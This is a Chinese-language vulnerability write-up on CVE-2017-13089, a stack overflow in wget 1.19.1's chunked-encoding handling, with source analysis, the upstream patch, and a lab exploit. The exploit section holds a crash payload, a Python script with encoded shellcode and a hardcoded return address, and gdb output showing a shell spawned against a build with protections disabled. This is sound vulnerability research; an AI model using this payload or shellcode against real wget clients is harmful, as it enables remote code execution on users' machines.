[CVE-2017-13089] wget 1.19.1 Buffer Overflow

漏洞描述

wget 是一个从网络上自动下载文件的工具，支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。

在处理例如重定向的情况时，wget 会调用到 `skip_short_body()` 函数，函数中会对分块编码的数据调用 `strtol()` 函数读取每个块的长度，但在版本 1.19.2 之前，没有对这个长度进行必要的检查，例如其是否为负数。然后 wget 通过使用 `MIN()` 宏跳过块的 512 个字节，将负数传递给了函数 `fd_read()`。由于 `fd_read()` 接收的参数类型为 `int`，所以块长度的高 32 位会被丢弃，使得攻击者可以控制传递给 `fd_read()` 的参数。

漏洞复现

	推荐使用的环境	备注
操作系统	Ubuntu 16.04	体系结构：64 位
调试器	gdb-peda	版本号：7.11.1
漏洞软件	wget	版本号：1.19.1

首先编译安装 wget-1.19.1：

```
$ sudo apt-get install libneon27-gnutls-dev
$ wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar zxvf wget-1.19.1.tar.gz
$ cd wget-1.19.1
$ ./configure
$ make && sudo make install
$ wget -V | head -n1
GNU Wget 1.19.1 built on linux-gnu.
```

引发崩溃的 payload 如下：

```
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFFD00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
```

stack smashing 现场：

```
$ nc -lp 6666 < payload & wget --debug localhost:6666
[1] 4291
DEBUG output created by Wget 1.19.1 on linux-gnu.

Reading HSTS entries from /home/firmy/.wget-hsts
Converted file name 'index.html' (UTF-8) -> 'index.html' (UTF-8)
--2018-01-30 11:42:32--  http://localhost:6666/
Resolving localhost... 127.0.0.1
Caching localhost => 127.0.0.1
Connecting to localhost|127.0.0.1|:6666... connected.
Created socket 4.
Releasing 0x00000000012f51b0 (new refcount 1).

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.19.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: localhost:6666
Connection: Keep-Alive

---request end---
GET / HTTP/1.1
User-Agent: Wget/1.19.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: localhost:6666
Connection: Keep-Alive


HTTP request sent, awaiting response...
```

```
---response begin---
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

---response end---
401 Not Authorized
Registered socket 4 for persistent reuse.
Skipping -4294966528 bytes of body:
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASkipping -4294967296
bytes of body: [] aborting (EOF received).
*** stack smashing detected ***: wget terminated
[1]+  Done                    nc -lp 6666 < payload
Aborted (core dumped)
```

漏洞分析

关键函数 `skip_short_body()`：

```
// src/http.c
static bool
skip_short_body (int fd, wgint contlen, bool chunked)
{
  enum {
    SKIP_SIZE = 512,                /* size of the download buffer */
    SKIP_THRESHOLD = 4096        /* the largest size we read */
  };
  wgint remaining_chunk_size = 0;
  char dlbuf[SKIP_SIZE + 1];
  dlbuf[SKIP_SIZE] = '\0';        /* so DEBUGP can safely print it */

  /* If the body is too large, it makes more sense to simply close the
     connection than to try to read the body.  */
  if (contlen > SKIP_THRESHOLD)
    return false;

  while (contlen > 0 || chunked)
    {
      int ret;
      if (chunked)
        {
          if (remaining_chunk_size == 0)
            {
```

```
              char *line = fd_read_line (fd);
              char *endl;
              if (line == NULL)
                break;

              remaining_chunk_size = strtol (line, &endl, 16);  // 未检查
remaining_chunk_size是否为负
              xfree (line);

              if (remaining_chunk_size == 0)
                {
                  line = fd_read_line (fd);
                  xfree (line);
                  break;
                }
            }

          contlen = MIN (remaining_chunk_size, SKIP_SIZE);  // contlen 为可控变量
        }

      DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

      ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);  // 引发溢出
      if (ret <= 0)
        {
          /* Don't normally report the error since this is an
             optimization that should be invisible to the user.  */
          DEBUGP (("] aborting (%s).\n",
                   ret < 0 ? fd_errstr (fd) : "EOF received"));
          return false;
        }
      contlen -= ret;

      if (chunked)
        {
          remaining_chunk_size -= ret;
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              if (line == NULL)
                return false;
              else
                xfree (line);
            }
        }

      /* Safe even if %.*s bogusly expects terminating \0 because
         we've zero-terminated dlbuf above.  */
      DEBUGP (("%.*s", ret, dlbuf));
    }

  DEBUGP (("] done.\n"));

  return true;
```

```
}
```

一般是这样调用的：

```
          if (keep_alive && !head_only
              && skip_short_body (sock, contlen, chunked_transfer_encoding))
CLOSE_FINISH (sock);
```

所以要想进入到漏洞代码，只需要 `contlen` 的长度不大于 4096 且使用了分块编码 `chunked_transfer_encoding`。对于参数 `chunked_transfer_encoding` 的设置在函数 `gethttp()` 中：

```
// src/http.c
  chunked_transfer_encoding = false;
  if (resp_header_copy (resp, "Transfer-Encoding", hdrval, sizeof (hdrval))
      && 0 == c_strcasecmp (hdrval, "chunked"))
chunked_transfer_encoding = true;
```

而 `contlen` 的赋值为 `contlen = MIN (remaining_chunk_size, SKIP_SIZE);`，`MIN()` 宏函数定义如下，用于获得两个值中小的那一个：

```
// src/wget.h
# define MIN(i, j) ((i) <= (j) ? (i) : (j))
```

当 `remaining_chunk_size` 为负值时，同样满足小于 `SKIP_SIZE`，所以 `contlen` 实际上是可控的。

随后进入 `fd_read()` 函数，从 fd 读取 bufsize 个字节到 buf 中，于是引起缓冲区溢出：

```
//src/connect.c
/* Read no more than BUFSIZE bytes of data from FD, storing them to
   BUF.  If TIMEOUT is non-zero, the operation aborts if no data is
   received after that many seconds.  If TIMEOUT is -1, the value of
   opt.timeout is used for TIMEOUT.  */

int
fd_read (int fd, char *buf, int bufsize, double timeout)
{
  struct transport_info *info;
  LAZY_RETRIEVE_INFO (info);
  if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
    return -1;
  if (info && info->imp->reader)
    return info->imp->reader (fd, buf, bufsize, info->ctx);
  else
    return sock_read (fd, buf, bufsize);
}
```

补丁

```
git show d892291fb8ace4c3b734ea5125770989c215df3f | cat

commit d892291fb8ace4c3b734ea5125770989c215df3f
```

```
Author: Tim Rühsen <tim.ruehsen@gmx.de>
Date:   Fri Oct 20 10:59:38 2017 +0200

    Fix stack overflow in HTTP protocol handling (CVE-2017-13089)

    * src/http.c (skip_short_body): Return error on negative chunk size

    Reported-by: Antti Levomäki, Christian Jalio, Joonas Pihlaja from Forcepoint
    Reported-by: Juhani Eronen from Finnish National Cyber Security Centre

diff --git a/src/http.c b/src/http.c
index 5536768..dc31823 100644
--- a/src/http.c
+++ b/src/http.c
@@ -973,6 +973,9 @@ skip_short_body (int fd, wgint contlen, bool chunked)
               remaining_chunk_size = strtol (line, &endl, 16);
               xfree (line);

+              if (remaining_chunk_size < 0)
+                return false;
+
               if (remaining_chunk_size == 0)
                 {
                   line = fd_read_line (fd);
```

补丁也很简单，就是对 `remaining_chunk_size` 是否为负值进行了判断。

Exploit

在这里我们做一点有趣的事情。先修改一下配置文件 `configure.ac`，把堆栈保护技术都关掉，也就是加上下面所示的这几行：

```
$ cat configure.ac | grep -A4 stack
dnl Disable stack canaries
CFLAGS="-fno-stack-protector $CFLAGS"

dnl Disable No-eXecute
CFLAGS="-z execstack $CFLAGS"

dnl
dnl Create output
dnl
```

然后编译安装，结果如下：

```
$ sudo apt-get install automake
$ make && sudo make install
$ pwn checksec /usr/local/bin/wget
[*] '/usr/local/bin/wget'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
```

好了，接下来可以搞事情了。为了方便确认栈溢出的地址，把前面 payload 的 body 部分用 pattern 替代掉：

```
$ cat payload
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFFD00
AAA%AAsAABAA$AAnAACAA-
AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMA
AiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAA
yAAzA%%A%sA%BA%$A%nA%CA%-A%
(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%i
A%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA
%zAs%AssAsBAs$AsnAsCAs-
As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMA
siAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs
0
$ nc -lp 6666 < payload
```

在另一个 shell 里启动 gdb 调试 wget：

```
gdb-peda$ r localhost:6666
gdb-peda$ pattern_offset $ebp
1933668723 found at offset: 560
gdb-peda$ searchmem AAA%AAsA
Searching for 'AAA%AAsA' in: None ranges
Found 2 results, display max 2 items:
 [heap] : 0x6aad83 ("AAA%AAsAABAA$AAnAACAA-
AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMA
AiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAA
yA"...)
[stack] : 0x7fffffffcf40 ("AAA%AAsAABAA$AAnAACAA-
AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMA
AiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAA
yA"...)
```

所以 rsp 的地址位于栈偏移 `568` 的地方。而栈地址位于 `0x7fffffffcf40`。

构造 exp 来生成 paylaod：

```
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFFD00
"""
shellcode  = "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
shellcode += "\xef\xff\xff\xff\x48\xbb\xc5\xb5\xcb\x60\x1e\xba\xb2"
shellcode += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
shellcode += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76"
shellcode += "\xba\xe1\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53"
shellcode += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda"
shellcode += "\x1b\x93\xe2\x83\xe9\xf8\xb5\xb7\x1b"

payload += shellcode + (568-len(shellcode)) * "A"
payload += "\x40\xcf\xff\xff\xff\x7f\x00\x00"
payload += "\n0\n"

with open('ppp','wb') as f:
    f.write(payload)
```

```
$ python exp.py
$ nc -lp 6666 < ppp
```

继续使用 gdb 来跟踪。经过 `strtol()` 函数返回的 `remaining_chunk_size` 为 `0xffffffff00000300`：

```
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0xffffffff00000300
RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
RCX: 0xffffffda
RDX: 0x1
RSI: 0xfffffd00
RDI: 0x6aafab --> 0xfae98148c931000a
RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 -->
0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>:    push   r15)
RSP: 0x7fffffffcf20 --> 0xffffffffffffffff
RIP: 0x41ef0f (<skip_short_body+150>:   mov    QWORD PTR [rbp-0x8],rax)
R8 : 0x0
R9 : 0xffffffffffffffff
R10: 0x0
R11: 0x7ffff74045e0 --> 0x2000200020002
R12: 0x404ca0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffdcb0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x41ef04 <skip_short_body+139>:  mov    rsi,rcx
   0x41ef07 <skip_short_body+142>:  mov    rdi,rax
   0x41ef0a <skip_short_body+145>:  call   0x404660 <strtol@plt>
```

```
=> 0x41ef0f <skip_short_body+150>:  mov    QWORD PTR [rbp-0x8],rax
   0x41ef13 <skip_short_body+154>:  mov    rax,QWORD PTR [rbp-0x10]
   0x41ef17 <skip_short_body+158>:  mov    rdi,rax
   0x41ef1a <skip_short_body+161>:  call   0x404380 <free@plt>
   0x41ef1f <skip_short_body+166>:  mov    QWORD PTR [rbp-0x10],0x0
[-------------------------------------stack--------------------------------------]
0000| 0x7fffffffcf20 --> 0xffffffffffffffff
0008| 0x7fffffffcf28 --> 0x4ffffcf01
0016| 0x7fffffffcf30 --> 0x13
0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98148c931000a
0032| 0x7fffffffcf40 --> 0xffffffff00000028
0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887
0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n")
0056| 0x7fffffffcf58 --> 0x13
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000000000041ef0f in skip_short_body ()
```

继续调试，到达函数 `fd_read()` ，可以看到由于强制类型转换的原因其参数只取出了 `0xffffffff00000300` 的低 4 个字节 `0x300` ，所以该函数将读入 `0x300` 个字节的数据到栈地址 `0x7fffffffcf40` 中：

```
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x4
RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
RCX: 0x7fffffffcf40 --> 0xffffffff00000028
RDX: 0x300
RSI: 0x7fffffffcf40 --> 0xffffffff00000028
RDI: 0x4
RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 -->
0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>:    push   r15)
RSP: 0x7fffffffcf20 --> 0xffffffff00000300
RIP: 0x41efd6 (<skip_short_body+349>:   call   0x4062c5 <fd_read>)
R8 : 0x0
R9 : 0x1
R10: 0x0
R11: 0x7ffff74045e0 --> 0x2000200020002
R12: 0x404ca0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffdcb0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x41efc9 <skip_short_body+336>:  movsd  xmm0,QWORD PTR [rip+0x4aa6f]        #
0x469a40
   0x41efd1 <skip_short_body+344>:  mov    rsi,rcx
   0x41efd4 <skip_short_body+347>:  mov    edi,eax
=> 0x41efd6 <skip_short_body+349>:  call   0x4062c5 <fd_read>
   0x41efdb <skip_short_body+354>:  mov    DWORD PTR [rbp-0x14],eax
   0x41efde <skip_short_body+357>:  cmp    DWORD PTR [rbp-0x14],0x0
   0x41efe2 <skip_short_body+361>:  jg     0x41f029 <skip_short_body+432>

   0x41efe4 <skip_short_body+363>:  movzx  eax,BYTE PTR [rip+0x269bf0]        # 0x688bdb
```

```
<opt+571>
Guessed arguments:
arg[0]: 0x4
arg[1]: 0x7fffffffcf40 --> 0xffffffff00000028
arg[2]: 0x300
arg[3]: 0x7fffffffcf40 --> 0xffffffff00000028
[----------------------------------stack-----------------------------------]
0000| 0x7fffffffcf20 --> 0xffffffff00000300
0008| 0x7fffffffcf28 --> 0x4ffffcf01
0016| 0x7fffffffcf30 --> 0x13
0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98100007ffff7
0032| 0x7fffffffcf40 --> 0xffffffff00000028
0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887
0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n")
0056| 0x7fffffffcf58 --> 0x13
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000000000041efd6 in skip_short_body ()
```

成功跳转到 shellcode，获得 shell：

```
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
RCX: 0x7ffff7384260 (<__read_nocancel+7>:   cmp    rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffcf40 --> 0xfffae98148c93148
RDI: 0x4
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148
RIP: 0x41f0ed (<skip_short_body+628>:   ret)
R8 : 0x7fffffffcdb0 --> 0x383
R9 : 0x1
R10: 0x0
R11: 0x246
R12: 0x404ca0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffdcb0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x41f0e2 <skip_short_body+617>:  call   0x42a0f5 <debug_logprintf>
   0x41f0e7 <skip_short_body+622>:  mov    eax,0x1
   0x41f0ec <skip_short_body+627>:  leave
=> 0x41f0ed <skip_short_body+628>:  ret
   0x41f0ee <modify_param_name>:    push   rbp
   0x41f0ef <modify_param_name+1>:  mov    rbp,rsp
   0x41f0f2 <modify_param_name+4>:  sub    rsp,0x30
   0x41f0f6 <modify_param_name+8>:  mov    QWORD PTR [rbp-0x28],rdi
[----------------------------------stack-----------------------------------]
0000| 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148
0008| 0x7fffffffd180 --> 0xa300a ('\n0\n')
```

```
0016| 0x7fffffffd188 --> 0x0
0024| 0x7fffffffd190 --> 0x7fffffffdad4 --> 0x0
0032| 0x7fffffffd198 --> 0x7fffffffd780 --> 0x0
0040| 0x7fffffffd1a0 --> 0x6a9a00 --> 0x68acb0 ("http://localhost:6666/")
0048| 0x7fffffffd1a8 --> 0x6a9a00 --> 0x68acb0 ("http://localhost:6666/")
0056| 0x7fffffffd1b0 --> 0x0
[-------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000000000041f0ed in skip_short_body ()
gdb-peda$ x/20gx 0x7fffffffcf40
0x7fffffffcf40: 0xfffae98148c93148  0xffffef058d48ffff  <-- shellcode
0x7fffffffcf50: 0x1e60cbb5c5bb48ff  0x48275831481bb2ba
0x7fffffffcf60: 0xaff4e2fffffff82d  0xac799d0156f9938e
0x7fffffffcf70: 0x4c53e1ba7613e4db  0x4c53b2ba7d4da352
0x7fffffffcf80: 0xea1bb2ba16889953  0x931bdac9310ea2d7
0x7fffffffcf90: 0x411bb7b5f8e983e2  0x4141414141414141
0x7fffffffcfa0: 0x4141414141414141  0x4141414141414141
0x7fffffffcfb0: 0x4141414141414141  0x4141414141414141
0x7fffffffcfc0: 0x4141414141414141  0x4141414141414141
0x7fffffffcfd0: 0x4141414141414141  0x4141414141414141
```

Bingo!!!

```
Starting program: /usr/local/bin/wget localhost:6666
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
--2018-01-30 15:40:49--  http://localhost:6666/
Resolving localhost... 127.0.0.1
Connecting to localhost|127.0.0.1|:6666... connected.
HTTP request sent, awaiting response... 401 Not Authorized
process 20613 is executing new program: /bin/dash
[New process 20617]
process 20617 is executing new program: /bin/dash
$ whoami
[New process 20618]
process 20618 is executing new program: /usr/bin/whoami
firmy
$ [Inferior 3 (process 20618) exited normally]
Warning: not running or target is remote
```

参考资料

- CVE-2017-13089 Detail
- https://github.com/r1b/CVE-2017-13089